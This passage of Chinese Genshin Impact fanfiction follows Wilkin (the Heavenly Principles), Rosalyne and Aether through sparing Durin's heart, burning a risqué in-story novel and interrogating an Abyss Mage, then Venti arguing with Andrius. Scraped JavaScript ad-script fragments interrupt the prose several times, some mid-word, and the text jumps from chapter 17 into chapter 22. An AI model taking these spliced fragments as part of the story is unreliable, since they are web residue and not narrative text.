维尔金在心底也悄悄缓了口气,魔女和龙的问题毕竟还属于私仇范畴内,能够解决问题就已经足够皆大欢喜。但,门口被物理分隔开的坎瑞亚人,和魔女当年在巴巴托斯眼皮子底下创造出来的那些能够让天空岛直接撞击提瓦特大陆的擦边文学,就要麻烦得多。 公事公办,蒙德拜拜;私下处理,有损天空岛的威信。更何况无数双眼睛时时刻刻关注着维尔金的一举一动,若是让那些本身就心思多得不像样的长生种们意识到,纵使在天理面前在规则边缘反复试探也会被轻轻揭过,藏匿于暗处的家伙们绝对会蜂拥而上,不断地试探维尔金的底线—— 那就太麻烦了,上班已经够烦人了,要是在退休之后还要处理这些乱七八糟的事,他宁愿在天空岛上沉睡一辈子。 【来……杀了我】 宽厚粗重的低吟从地下深处传来,魔龙的传音将罗莎琳从混乱的思绪中拉回现实,拙劣的失败作本不该拥有情感,但罗莎琳却从声音总听出一不易察觉的愧怍和心虚。 炼金造物也会有人类的情感么? 魔女的指尖凝成火焰的长剑,心脏是一个生物最脆弱的地方,也是如今失去形体的魔龙最后赖以存活的器官。 【动手吧】 魔龙似乎已经彻底放弃挣 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 扎,天空岛至高的神明安静的站在一旁,明明是将罪魁祸首绳之以法的大快人心的结局,罗莎琳却迟迟扎不下去那一剑。 她失去了挥剑的力气,眠龙谷的残音……不,是曾经被困雪山之中的人的祈祷声阻拦炎之魔女将武器对准让他们得以离开寒冷的龙脊雪山的恩龙。 不对,完全不对。 "杜林,魔龙的的心脏连接着龙脊雪山的地脉!” 罗莎琳瞳孔收缩,刚才碍于维尔金的压迫感,炎之魔女不敢明晃晃地打量周遭环境,直到现在才发现,不是眠龙谷包裹着杜林的心脏,分明是杜林用躯体内逸散的元素力供养着这座岌岌可危的神圣雪山。 她早该发现的,到处都是赤红之石枯萎的地脉需要赤红之石投喂,而产出赤红之石最多的地区就是存放着杜林心脏的眠龙谷。而赤红之石,正是让无数误入龙脊雪山、抑或是困于雪山的普通人活下来的珍宝! “居然才发现吗?”维尔金意外。 人类真是粗心,居然过了几百年才发觉有一条死去的龙在默默供养着龙脊雪山的地脉。 “不对,这不对……” 罗莎琳瘫坐在地,炎之魔女从来不曾怀疑过自己的任何决定,但这一刻她心中的痛楚甚至无法言语:如果死去的魔龙是在赎罪,那炎之魔女的一切又算什么?她对巴巴托斯的恨,又算什么? 甚至就连魔龙杜林自己又算什么? 在造物主的哄骗下犯下大错,还未拥有成熟的心智便被风神和眷属一齐斩杀,就连死去后的尸体和力量都被无情的神明充作地脉的养料。到现在死后还不得安生,又被天理欺骗,无知地交出自己的生命本源,甚至连最后一丝价值都要被榨干,换取她这个更应该去赎罪的恶毒魔女的所谓救赎。 她要纠正这个错误。 如梦初醒般,罗莎琳松开手,匕首从手中滑落,随后一如消融的冰雪般消散在浓稠的空气中。 “你不打算复仇了吗?”神明像是错失了一场盛大的喜剧一样,一脸的可惜,“胸腔中熊熊燃烧的复仇的火焰,只有仇人的鲜血才能够熄灭吧。” “您错了。” 罗莎琳甚至为自己胆大包天地反驳天空岛之主的劝慰而颤抖,她听见说: “我祈求您留它一线生机,就让它的力量作为龙脊雪山的养分,灵魂得以附着在赤红之石上观察世间万物。” 似乎是不敢相信自己听到了什么,龙的心脏发出如雷鸣般隆隆的鼓声。 “罗莎琳已经失去手刃魔龙的资格。” 魔女双手合十,她现在也不知是在祈求谁。 “希望您能够它继续在这雪山之上赎罪,用血肉帮助失温的旅人,用灵魂做窥见世间的窗口。” “如果这是你的答案——” “杜林。” “往后你的灵将不再拘泥于腐烂的□□,就如她所言,龙脊雪山上每一块赤红之石,都将成为们你灵魂的居所。” 在魔女充满庆幸的眼神中,维尔金故意顿了顿: “然,凡事都有代价。” “炎之魔女,作为让神明同意你建议的供奉,又是什么呢?” 15.第 15 章(修) “洁净的身躯染上污秽的泥泞,腐败的锁链从肩胛骨穿过血肉,从如濒死般的脖颈穿出,祂如濒的白天鹅,在湖水中央发喑哑又诱人的低吟,深渊的魔主按捺不住……” “停——咱直接烧了它吧。” 维尔金绝望地闭上眼,用快要碎掉的语气阻止了空继续念下去的想法。饱受冲击的神明大人已经快要退化成一个被戳出洞来的风史莱姆,只要再受一丁点刺激,恐怕就会直接放气飞走。 为了好朋友的身心健康,空恋恋不舍地合上书本。没想到在看到封面赫然大写的《天空岛情迷九九八十一天》几个大字后,维尔金的脸色又白了几度。 心大的旅行者顺着他的视线往下看,像是见到鬼一样火速把这本包装华美、封面意味不明的真·擦边文学丢到一边,避免继续刺激到当事神明脆弱的心灵。 火焰“咻”一下凭空燃起,一气呵成,将这本小说烧得干干净净,完美解决了维尔金即将退化成风史莱姆气球的大危机。 “好了,清除完毕。” 罗莎琳打了个响指,烧完书后无物凭依的火焰就像是见到人类”嘬嘬嘬“就会飞奔过来的小狗,一下子扑魔女的手掌心,极其黏人地蹭了蹭手背后,才回到魔女胸前的赤红之石中。 静静躺在雪地上的故事书这辈子都不会想到,这辈子居在有作者设下结界的情况下依旧没有逃过被火焰焚烧的命运,更不会有人想扫尘世七执政的顶头上司居然会在众目睽睽之下遇到这本以天空岛和深渊为原型的狗血三俗小说。 曾在须弥教令院进修过的罗莎琳三下五除二就完成了要交给尊贵的天空岛之主的供奉:长达三万字的地上调研报告和并不困难的清理工作——用龙焰把天理审查不过关的书籍统统烧毁。 哪怕自龙灾后对除冰之女皇以外的神明印象不佳的罗莎琳,也不由得赞美天理的宽宏大量。 在她看来,整理报告文书这种用不了几盏茶功夫和简单的清理工作,就是天理轻轻揭过这件事情最直白的表态,完全没有想过维尔金本人是一个半小时憋不出五百字的报告文书苦手人士。 至于销毁这些书籍更是简单。若是有识货的炼金术士在场,变回惊讶地发现天底下竟然还有如此暴殄天物之人,居然舍得珍惜的龙焰来烧三流擦边文学。 天底下最识货的炼金术士兼炼金造物本人拍了拍意志消沉的天理,满脸的同情: “……想开点,往好处想,把这本销毁之后至少不会有人知道,天空岛和深渊还有这么一段往事。” 维尔金:“首先这本书已经流传不知道多少年了,其次这是杜撰!” “好好好,是杜撰。” 意志坚强的旅行者也不忘安慰一番现在已经是双目无神两眼空洞的小说主角之一的可怜维尔金,绞尽脑汁地编造理由: “往好处想,这说明天空岛比较受提瓦特广大人民群众热烈欢迎,虽然热爱的表达方式……呃,可能比较另类而已。” 维尔金还是无法接受,对于一个光涨力量和睡眠时间的纯种武斗派来说,让他接受跟宿敌缠绵悱恻的限制级别剧情还是太超越了些。 但现在罪魁祸首已经化作灰烬,他也只能尽可能去忽略这本给他带来不可磨灭的伤痛的可怕小说。 维尔金现在只能极所能地催眠自己,换个角度想,除开内容过于炸裂,并被空当众念出来,又舞到维尔金这个当事人面前之外,《天空岛情迷九九八十一天》这本书从传播广度来看,确实是一本不可多得的三俗佳作。 至少从先前已经被摸到起毛边的书脊来看,《天空岛情迷九九八十一天》的受众绝对不少,甚至因为它能够在火元素焚烧中幸存下来,结合书里面私货过多的文本,只能说明创作者是一位通晓提瓦特历史、并且热衷于损害无辜人士名声的缠人家伙。 维尔金甚至不怀好意地猜测,凶手就在那几个熬过魔神战争又闭门不出的老东西之间。而这本书之所以会被丢进所谓的“违禁品”中,极有可能是图书管理人员的私心—— 同样也很有私心的天理大人表示,这种荼毒蒙德青少年的小说读物,蒙德的主人必须出重拳打击。 维尔金深吸一口气,等巴巴托斯回来,他一定要着重强调一提瓦特人民的美好幸福生活和精神建设的联系,坚决打击不良作品。思虑再三,维尔金决定用新的记忆覆盖那本该死的情迷九九八十一天,捡起放在一边的《野猪公主》,给自己打气: 蒙德城,总会有稍微正常点的故事书吧? 维尔金在心底默默祈祷,经过极大的刺激之后,只要不是有人把原初之前的事耿直地毫不遮掩的写下来,他都能够接受。 …… “……虽然也有哪里不太对,但我还是觉得《野猪公主》至少表面上更加符合童话故事和书籍的调性一点。” 维尔金合上剧情也极其不童话的童话,不那么客观地评价道。 经过《天空岛情迷九九八十一天》荼毒后,面对邪典童话,维尔金甚至都能感动得落泪,但良心阻止了他给予好评。 “但这种直言不讳的成人故事就没有必要精加工成为童话故事了吧,小孩子看多了成人故事,容易对未来失去希望。” 抱着仰望态度态对这本名为《野猪公主》的大作鉴赏过后,空大受震撼。 可怜的旅行者发现,这些过于逆天的剧情混在小孩子天真幼稚的童言中,完全称得上一句“童年邪典”的评价。 空只能得出一个结论:《天空岛情迷九九八十一天》对维尔金造成的内心创伤一时半会是好不了了。 “不过话说回来,蒙德小孩天天看这种故事书真的正常吗?会给美好的童年生活留下阴影的吧!”空一口气盖上书本,物理隔绝了文字的恐怖力量后仍心有余悸,“简直禁忌到不能再禁忌了。” 维尔金被空的吐槽哽咽住,在后者期待的目光中给出了令旅行者无法理解的答案: “我觉得这本书没有问题,可以让西风骑士团的人带回去为妙。” 除了内容不太健康……不,和那本精神污染的著作比起来,内 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 容也挺健康的。 “说不定,刚刚的那本奇怪的小说似乎是被不小心放进来的,应该是有人听到要销毁某些书籍的风声,就把这些比较……不太适合在图书馆里存放的书一起扔进来了。” “但……其实喜欢看《天空岛情迷九九八十一天》这种的才是多数吧?”凯亚咳了几声,好不容易才把喷出的笑意憋下去,面色古怪但还是忍不住为被魔女毁尸灭迹的三俗小说辩白,“虽然放在公共图书馆不怎么合适,但比起蒙德物种大全这种在图书馆安静躺着的时间多于被借出的时间之外的学术书籍,囚禁文学才是经久不衰的经典题材。” 囚禁文学,一种发生在别人身上津津乐道,发生在自己身上直呼受不了的扭曲爱情文学题材。 传统热血神秘流派的爱好者维尔金不置可否,选择身体力行告诉下年轻过头的坎瑞亚小辈,什么叫做经久不衰的黄金题材。 维尔金挑动灰烬,凭借他对这帮魔女会成员的了解,一定会对自己的得以作品施加保护的魔法。果不其然,在魔龙的龙焰之中还有书页得以幸免。他细细拼接起被人为撕碎的书页,在最大块残留的纸页上,赫然还有一行一看就是后来人添上去的笔记,上面写到: 这是她这辈子创造过的最直言不讳的童话故事。而绘本的扉页,原本属于作者姓名的花体烫金纹刻字已经消失不见,翻过背面,书页上赫然是故事的扉页,写有“白之公主与六侏儒”七个繁复华丽的大字。 看上去比精神污染的《天空岛情迷九九八十一天》和童年邪典《野猪公主》正经多了。 维尔金得意的展示自己费了老大劲才拼好的成果: “看吧,对于神明遗迹遍地的提瓦特来说,神秘才是最经久不衰的黄金题材。” 凯亚沉默。 迪卢克扶额。 在担任执行官期间知道了《白之公主与六侏儒》是一本除了暗喻坎瑞亚灾变之外没有一点原创内容的罗莎琳别过头。炎之魔女已经学会接受无论如何努力,维尔金终究会看穿一切的命运。 说不定……宽宏大量的天理大人不会介怀小小人类以别样的形式留下正确的历史? 秉着学术至上的罗莎琳不打算打搅维尔金的兴致,局外人的空完全不知道这本书蕴藏着的秘密,站边蒙德的阿贝多显然也相信维尔金心中有杆秤,一定不会迁怒蒙德。 只有从头到尾被嘱咐了事情重要性的迪卢克的心脏越跳越快,想法也越来越大胆—— 一根冰锥击中了维尔金拿着故事书的右手。 凯亚:“不是我干的,别看我。” 一只冰深渊法师闪现出来,毛绒绒的身体外套了一层冰雪的元素外壳,两只小眼睛恶狠狠地盯着维尔金,全然没有注意到瞬间被融化掉的冰锥和周围人充满怜悯的眼神。 读不懂现场气氛的深渊法师桀笑着转圈圈,大放厥词: “桀桀桀桀桀桀——” “没想到小小的蒙德居然还有人误打误撞参破了故事中的秘密……看来你们是不能留了!” 16.第 16 章(修) 冰深渊法师,一种失去元素保护罩就只能任人宰割的孱弱魔物。 天理,一种可以免疫所有元素攻击,抬手就是瞬发寒天之钉、看到深渊露头就秒的神明。 二者之间的胜负有如火史莱姆对上水龙王,无须多言。 “刚刚那只深渊冰法师说什么来着,有人注意到了吗?” 维尔金举起双手,伸了一个懒腰。 长期卧床不起的后遗症显现出来:和五百年前相比,尊敬的天理大人下手现在略有点不知轻重。因为没有把回弹的魔法盾削薄一点,直接导致狠话还没放完深渊法师,距离当场暴毙,只差一个丝血皮。 精致的长靴踩过地上尚未干涸的冰水,维尔金嫌弃地瞥了眼不抗揍的深渊魔物,又废了老大劲才控制住内心让魔物人间蒸发的本能,扭头询问身边几个呆如木鸡的人类: “它刚刚是说什么东西不能留了?” 刚刚找到心心念念的经典神秘款童话太过兴奋,维尔金根本没有仔细听莫名其妙乱入的深渊法师到底在说些什么鬼话。 “我觉得可能是深渊法师也觉得,这些败坏蒙德未来花骨朵的三俗小说不能留了。” 空认真地思索一番后,只能糊弄出一个看上去稍微合情合理一点的答案。 “毕竟如果是畅销书目的话,《天空岛情迷九九八十一天》和《野猪公主》这两本扰乱市场的逆天大作,说不定也被深渊的人看过?” 这句话对维尔金的打击显然比深渊法师柔弱无力的冰锥要狠得多。 但空觉得,总不会是刚刚那只冰深渊法师是想从维尔金手上抢书然后毁尸灭迹吧?恐怕就连维尔金自己都会觉得这个猜想过于好笑:怎么会有深渊魔物上赶着撞到尘世七执政级别的神明面前,还大放厥词地要从神明手上抢东西? ——巴巴托斯听到了能连夜编撰一本歌颂深渊冰法师的诗歌集。 不,我猜刚刚那只火速殉掉的深渊法师就是想从天理手上抢走那本《白之公主和六侏儒》。已经参透维尔金身份的凯亚默默吐槽,但并不打算将这个猜测说出来。 倒不如说,他终于能送了一口气。托了不识时务又毫无洞察力的深渊冰法师的福,好脾气的天理大人似乎不打算继续追究手上对蒙德和身负坎瑞亚血脉的凯亚危险系数极高的读本,而是将注意力转移到突然出现在又说了些莫名其妙话的深渊法师身上。 “就算这些小说确实很离谱,但蒙德再怎么样也轮不上深渊的蛆虫指指点点,深渊教团一如既往地记吃不记打,手又伸得这么长。” 维尔金用指甲白色的边沿敲了敲手上书籍的硬壳封皮,虽然龙脊雪山距离巴巴托斯的大本营还有些距离,但这里可以距离天空岛直线距离最近的地方,也是天理真真正正展现过神威的地方之一,居然还有胆子跟着人类上山…… 不过百年的沉寂,就足以让深渊忘记天空的震慑。 尊贵的天理大人决定趁着还在自己家门口,用神力偷懒一回。 提瓦特大陆对生活其中的物种多有限制,哪怕是天理,也不敢随随便便施展已经同这个时代格格不入的古代元素力量。 唯独龙脊雪山,既是天空与地上最薄弱的连接之处,又是人类古国沙尔·芬德尼尔这一无神之城的原址,其本身已经不被视作提瓦特的一部分。 因此,身为天理力量和权能才得以肆无忌惮地发挥出来。 维尔金敲击书本的声音融入风雪的呼啸,雪山的寒风沉默地扫荡深渊的痕迹,化作神明无言的叹息,将提瓦特人,降临者,以及魔物的时间切隔开来。 自天空降临的权能将眠龙谷这处背风的山坡悄无声息地同龙脊雪山的主体分割开来。时间切割边缘,空间形成结界,创造出独属于维尔金的世界。风不敢惊扰震怒的天空岛之主,周遭的呼啸倏停了下来。飘落半空的新雪,也抵抗住重力的拉扯停在半空,静候神明的指示。 “好了。” 维尔金利索地提起深渊法师那兔子般毛茸茸的长耳朵,疼懂和惯性让踢到钢板的深渊法师刚迷迷糊糊睁开眼,就被一双几句穿透性的锐利双目给震慑住了灵魂。 “深渊的信徒,你为何在蒙德城?” 再愚蠢的家伙也知道自己招惹到了不该招惹到的人。标志性的金瞳白发,视童话里埋藏的秘密如无物,轻描淡写让一个区域内的时间停滞,又能够不把一旁冰神的执行官放在眼里……如此力量,哪怕是提瓦特大陆上仅存的七神也做不到。 深渊教团知道的,也唯有—— “你……你是……” 深渊教团的魔物长居幽深污秽之地底,污染的地脉腐蚀了他们的灵魂,连同身体和作为人类的特征都变得模糊,语言也变得尖酸难懂。发源自身躯本能的恐惧和敬畏让深渊法师彻底失去理智,只敢抱作一团,瑟瑟发抖地匍匐在地,祈求温柔待人的神明留无知魔物一条生路。 不过天理没有眷顾深渊的理由。 维尔金耐心耗尽,眼眸中的暖色化作冰冷的神性。 普通的魔物承受不住天空的力量,维尔金抓住深渊法师因为恐惧而瑟瑟发抖的灵魂,直接道: “像刚刚一样,胆子大点,回答我的问题。” 深渊冰法师细小的眼睛眯成一条缝,灵魂完全不受自己控制,回答维尔金的第一个问题。 “我们一直在离间风神和祂的眷属的眷属,但就在公主的计划快要成功的时候,特瓦林那条蠢龙突然毁约重新安于在风神之下做一个一无所有的眷属!” 说完之后,漆黑的灵魂剧烈抖动起来,这是灵魂承受不住压力即将溃散的征兆。 好极了,维尔金精准抓住重点,这次复苏的深渊已经沦落到连个坐骑都没有,甚至得去抢巴巴托斯家的特瓦林的地步了。换而言之,如今的天理在坎瑞亚覆灭、其余七国皆严防死守的情况下,已经再难有五百年前的空前盛况。 只不过…… 公主? 这一代深渊教团的主人,喜欢用种不暴露自身特点的代号么? 维尔金没有多想。属实是深渊教团什么都干的出来,至少今天这一波大胆又愚蠢的操作已经足够离奇到超乎天空岛之主的设想。维尔金甚至想过深渊染指大地的触角已经伸向天空岛的神灵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,只是,他想不到真有深渊敢在蒙德这块离天空岛最近的地方抢七执政的龙,甚至还敢抢天理手上的书。 虽然这也有天理本人长期宅家连能辨认出来的雕像都没有,还一直没有展现其真正实力有关。 但扪心自问,这难道没有深渊的一点问题吗?要是它们能好好记住敌方老大的长相,也不至于这么多年来一直在刀尖上耍杂技,事倍功半。 不过他还有一个问题—— “为什么要抢夺一本童话书?”维尔金隐隐约约感觉到,这只深渊法师,的确就是冲着自己手上这本故事书来的。 被操控灵魂的深渊冰法师如实回答:“蒙德的童话里,藏着堪破天空岛的秘密。” “……好吧,实践证明,深渊对智慧的削弱是没有止境的。” 维尔金闭上眼,失去意识昏厥的深渊冰法师重重摔倒在地,时间重新流动,不过眨眼之间污秽之躯就如水入春泥,消融在冰天雪地的龙脊雪山之中,成为干涸地脉的肥料。 “咦?深渊冰法师呢?” 维尔金指向地上那一滩即将凝固的冰水,“诺,一个简单的返还魔法就遭不住了。本来还想问点有用的东西,谁知道深渊教团的家伙们这么不禁打。本来还想问问他们怎么对一本童话书兴趣这么大,不过想来也是些不重要的理由吧……” 空头疼:“这些家伙怎么就像薄荷一样无处不在。” 维尔金瞥了眼神经紧绷的蓝发坎瑞亚后裔,双手叉腰的白垩之子,以及完成好供奉后就一直挂在魔女脖子上的赤红之石,在心底默默补充一句:坎瑞亚人也是像薄荷一样,时不时给没睡醒的天理一记重拳。 “既然是漏网之鱼,就让专业人士去驱逐他们吧。” 维尔金出神的目光让迪卢克想起了一些不太美妙的回忆,他不着痕迹地上前半步:“我会向西风骑士团代理团长提议加强龙脊雪山的守备力量———” “凯亚先生,”维尔金打断,难得认真地对这个已经猜测到部分真相的坎瑞亚遗孤说道,“我记得之前在蒙德见面时,您好像是蒙德骑兵队对长,那之后对龙脊雪山周边的深渊魔物的清剿行动,还麻烦西风骑士团的各位多上上心了。” 凯亚像是不敢相信自己听到了什么。 天理这是打算,默认所有的违禁品已经通过了天空岛的审查了吗? “至于这本《白之公主与六侏儒》和《野猪公主》,你们带回蒙德吧,”维尔金淡淡道,随即脸色一变,突然像想起什么来一样补充,“《天空岛情迷九九八十一天》不行,这玩意是在造谣。” 和一旁面色不显实则狂喜的蒙德森林冰火人不同,维尔金现在心情说不上好坏,刚刚那只深渊法师的话证明,随着他的苏醒,深渊又将迎来一次卷土重来的机会。 千年前是这样,现在又是这样。一本故事书而已,他视而不见的东西还少了吗? 他厌倦这样循环反复的生活,他厌倦了永无止境的错误和弥补,他甚至想—— 若是放任深渊毁灭掉一切,从头开始建造一个全新的、不会猜疑神的世界,会不会更好一点呢…… 17.第 17 章 山脊上的一缕寒风给身处奔狼领的温迪送来最新消息后,来不及回到冰冷的雪山,就消散在湿热树林中的狼王领地,回归到风神手中。 “……怎么说呢,虽然事情经过意外地曲折离谱,不过也总算糊弄过去了。” 这段时间的担忧终于化作舒爽的清风,不仅解开了温迪心中的愁绪,也让始终自责的眷属松了一大口气。 但奔狼的领主并不认他们劫后余生般的喜悦,仅剩灵魂的巨狼收起锐利尖爪,用柔软的灵魂形态肉垫扒拉开泄了力气躺在特瓦林身上的温迪,严肃地说道: “巴巴托斯,你这种做法危险性太高。与其说是那位被你糊弄了过去,倒不如说是如今祂已经变得不再在乎人类的看法。不要忘了,能在天空岛阴影之下妄言日月前代之事而不用付出代价,可不是上一代人类享受到的待遇。这次那几个人类能活,纯粹是靠天理心情不错,以及没有由来的偏心罢了。” 温迪抵开狼王脸一样大的爪子,顺着毛茸茸的前爪飞到安德留斯的脊背。温迪坐在巨狼身上,感受到身下柔软又冰冰凉凉不会过敏的触感。 “话可不能这么说,退一万步,坎瑞亚遭受制裁缘由的默示录,怎么能跟揭示天空岛神权来由的野史相比? 只是没想到,蒙德人民的思想已经自由到这个地步,能够创造出连神明也为之变色的著作,也没有想到深渊教团又已经嚣张到如此地步,不光想着在别人家主场以少敌多,甚至连大小王都分不清……” 温迪显得格外放松:“发泄完之后,那位就把坎瑞亚的小家伙们放走了,就连至冬女皇手底下的执行官,也被安排了个不错的闲职……” 该说不愧是天空岛之主吗,在自家看守地脉也能被安排个岗位出来。 安德留斯不言,只是翻了个身,把侵占自己后背、预备方案又完全就是在刀尖上跳舞的风神给抖落下去。 和本来就喜欢跟巴巴托斯玩,耳根子又软的特瓦林不一样,这位只剩下意识、但头脑依旧是当年能跟高塔孤王分庭抗衡的前魔神对温迪这一系列花里胡哨的操作极为不赞同。甚至要不是因为灵魂已经不足以支撑它远行,它都恨不得在巴巴托斯去至冬通知玛尔巴斯的时候把这个不靠谱的精灵捉回来。 “你只是占了醒来后的祂更加喜欢人类的便宜,巴巴托斯,稍微动动脑子也不会觉得龙脊雪山是能藏住东西的地方吧?” 温迪顺了顺灵体的长软毛,他明白安德留斯的担心,或者说是对那位的恐惧。 事实上,只剩下少许灵魂和力量的狼王虽然无法离开奔狼领,但安德留斯领地上的一切理论上皆处在天空岛视野的盲区之下,将一切与坎瑞亚有关的人和物转移至此才是最优解。 但前提是,玛尔巴斯没有给温迪透露过那个大胆到要命计划。 如果放任至冬使节继续行动,天理随时会察觉到不对劲。而对天空岛之主现世之事一无所知的至冬国,万一被发现了他们妄图夺取神之心的行动,等待他们所有人、连带冰之魔神本人的,唯有那无情的天钉镇压。 温迪不相信,天理会无缘无故地从沉睡中醒来,又大费周折地替一个降临者去寻找他的“妹妹”。 他坚信,这是一轮以帮助为幌子,对尘世七执政是否依旧忠诚的试探。 “……当时时间紧迫,我的确是想不出更好的办法。要是等我们通知完玛尔巴斯再把东西藏在奔狼领,自由的城邦恐怕就得变成神罚降临的废墟了。”温迪诚恳地向许久不见、并在魔神战争后已经成为半个友狼的安德留斯道歉。 “抱歉,安德留斯,让你担心了。” 狼王则是恨铁不成钢:“巴巴托斯,既然是蒙德的主人,至冬与你又有何干?冒着巨大风险当着天理的面把那些书籍弄到蒙德城外,你有没有想过蒙德会因为你的行为遭受到什么样可怕的命运!” “……但结果如你所见,天理毫不在意那些野史。” 至冬女皇的事知道的人越少越好,温迪干脆避而不谈,转移话题,“毕竟也跟冰神做了这么久的同事,人家要收集神之心干大事都没有瞒着我,这个时候不拉一把玛尔巴斯,到时候她把我们所有人都供出来怎么办?” “至于我的计划——安德留斯,原则固然重要,可对天理而言,坎瑞亚的惩戒已经在五百年前画上休止符。所以,藏不藏是一个态度问题。” 温迪对自家上司的心态手拿把掐,摸了一把不懂人心巨狼油光水滑的皮毛,举了一个例子: “就像同样是不准许人类进入狼群的领地,你是更希望西风骑士团提示这里是北风狼王的领地,还是更喜欢野狼出没伤人的标语?” “巴巴托斯!”安德留斯生气地低吼。 “所以说答案很显而易见啦,祂只是希望通过这次下界能够见到,我们「尘世七执政」依旧会毫不犹豫地执行祂的一切命令和约束。谁都知道龙脊雪山是天理最初降临之所,在祂眼中,我的行为最多算用力过度。” 温迪极少在朋友面前把计划的本质说得如此透彻。他不希望狼王误解天理的本质,也不希望因为安德留斯对自己的做法持有反对意见影响到他们之间的关系。 “所以我说,虽然过程上略有瑕疵,但结果是好的就足够了。”风神叹了口气,突如其来的糟心事让习惯于随性散漫的风精灵有些吃不消,“至少我们已经通过了祂的审视,蒙德已经安全了。” 但安德留斯不想听这些无谓的解释。愤怒但又说不过风神的安德留斯不再理会温迪,起身回归到石壁之中。 “没必要专门来恐吓我,巴巴托斯,死去的魔神不会再插手提瓦特的一切事务,这是祂亲手制定的豁免条例,而且狼群们也不足以记录历史,到时候死掉的只是人类而已。” 玻瑞亚斯才是如今继承了祂力量的狼群的头狼,安德留斯只是一缕试炼的残魂,无法停留太长时间。 这也是温迪没有在第一时间找上安德留斯的原因之一。 狼群进入不了人类的城邦,如果安排西风骑士团前往奔狼领,再让安德留斯亲自下场,事情只会进一步复杂化。 归根结底,他们根本没有时间安排好一切,甚至温迪本人到现在都还在庆幸特瓦林因为被深渊污染而突然出现的叛逆期,要不是逼得天理现身,他们至今都不会知道沉眠已久的维尔金居然已经悄无声息地苏醒。 温迪已经选择性遗忘掉维尔金几乎把神之心链接摁烂但是没有一个神接听的事实。 实在是天理大人的钓鱼行动实在是数不胜数。 君不见哪怕是已经有实际行动的冰神,不也在听到消息的一瞬间就作出了最稳妥的判断,将张牙舞爪的触手乖乖收回去,可即便如此,也白白地失去一个宝贵的执行官战力。 福祸相依,经过这次教训,至冬国估计也会收敛些了。 不过…… “安德留斯真的生气了。”沉默之间,特瓦林移开目光,“你不继续解释一下这么做的理由吗?” “我理解安德留斯……毕竟我们都知道上一个去赌那位心软的人类的下场,也亲眼见到了寒天之钉的威能……” “从它的角度来看,就像是在拿蒙德的命运去赌天理会不会容忍这些错误,是我这个风神太不负责任了。” 温迪很是无奈,但他不能继续把时间浪费在解释上面。 “走吧,我们去璃月。” 他们缺的就是时间。 而天理最不缺时间。 蒙德城·猎鹿人餐馆 “终于能够好好品尝一下集现代蒙德厨艺智慧之大成的「风神杂烩菜」了!” 又是猎鹿人餐馆,又是风神杂烩菜,不同的是,维尔金终于让空尝到了心心念念的蒙德传统佳肴。 但桌上另一边的凯亚只觉得胃疼。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 天知道龙脊雪山是不是有什么诅咒,不然为什么自从干掉那个冰深渊法师后,伟大的天空岛之主一直闷闷不乐,看谁都是一副“好烦好想毁灭这个世界”的表情。 好不容易熬到处理完那堆没用的“违禁品”准备下山,结果冰之女皇的执行官女士又突然自愿留在雪山上说是要看守地脉,阿贝多也死活不愿意回蒙德城。维尔金本人闷闷不乐,旅行者也不吱声,卢老爷更是挎着个脸,一路上的低气压简直让人喘不过气来。 下了山,不知是因为海拔降下来让尊贵的天空岛之主意识到自己不是在天空岛,气氛才重新缓和些。 但他已经受不了了。 直觉告诉凯亚,这是他最后能送走这两位瘟神的机会。 “说起来,你们接下来有旅行计划吗?”眼神示意迪卢克主动出击无果后,凯亚不得不起了个头,接着问道,“明明好不容易来一趟蒙德,但风魔龙袭城造成人手不够,又因为守备疏忽没能及时排查深渊教团,给你们的旅行造成了不小的阴影……” “没事,至少蒙德城没少块砖。” 维尔金随口安慰道,毕竟无论是魔神战争还是魔龙危机,闹出的阵仗都不是特瓦林的小打小闹可以相比的,随即马上把注意力集中在莎拉端上来的风神杂烩菜上—— “回香浓郁,菜肴软烂,香辛料的味道也很足。”品尝后的空竖起大拇指,毫不犹豫给了知名蒙德饭馆一个大大的好评,顺便补充了一点小小的建议,“希望下一次能稍微再多放一点肉……” “谢谢您的宝贵建议,客人。”莎拉微笑着点头,又从后厨端上一盘满足沙拉,放在桌上,向在座四人介绍,“这是本店附赠的满足沙拉,还请品尝,欢迎随时给出建议!” “真好呀,自由的城邦。”空满足地打了个饱嗝,扭头看向自始至终身上分币没有,又不让自己掏钱的维尔金,“吃了这么多我们真的不用付钱吗?” 谁敢让天理付钱啊! 凯亚赶忙道:“放心,迪卢克老爷钱多,轮不到我们请客,不过话又说回来——” “听说璃月一年一度的七星请仙典仪,岩神摩拉克斯也会到场。”迪卢克放下手中的茶杯,接着义弟的话说道,“我之前听安柏说,你在找跟你的妹妹,蒙德确实是没有这一号人,但是璃月说不定会有意料之外的惊喜……” “而且璃月和蒙德与石门之处接壤,我手底下又恰好有一只商队需要前往璃月,你们要是不嫌弃的话,我可以安排人送你们去参观一年一度的七星请仙典仪。” “送行什么的就不必了,西风骑士团现在最要紧的事,就是把周边的深渊魔物清剿干净。”维尔金随便叉上沙拉上没蘸酱的生菜,继续补充道,“至于别的,别忘了给我们准备好路费就行。” 空瞪大眼睛—— 他这辈子都没想到维尔金要钱都能要得这么理直气壮。 嘶……仔细想想,维尔金和他之前还一起敲诈西风骑士团来着。不过被凯亚和迪卢克识破神明身份之后,空还以为维尔金至少会选择维护一下自己的形象……不过现在看起来,维尔金还是那个维尔金,根本没有变嘛! 空悄悄松了口气。和雪山上那个强大冷漠、动手快准狠的神明相比,他还是更喜欢和没有生活常识、做事一点都不靠谱但是总是为朋友着想的维尔金一起旅行! “莎拉小姐,麻烦再来两份风神杂烩菜加满足沙拉,打包带走。” 维尔金扭头对莎拉说完,放下手中的银制餐刀。吃饱喝足调节好雪山上已经不太妙的情绪后,他现在心情已经好了不少。但这不意味着当他看得出对面两人恨不得自己立马就走的时候,会像个棉花糖一样任由揉搓捏瘪。 他只是没有提瓦特人所谓的“常识”而已,天空岛之主的坏心思可多得很—— “我有预感,接下来的旅途会有不少用得上摩拉的地方。” 22-30 第22章 第 22 章(捉) 在某人的盛情邀请…… 维尔金质朴纯粹的眼神让达达利亚卡了壳, 千辛万苦准备的腹稿全部作废。 人和神是不一样的。只拥有常规思路的至冬小伙,终究不可能理解维尔金的思维逻辑。 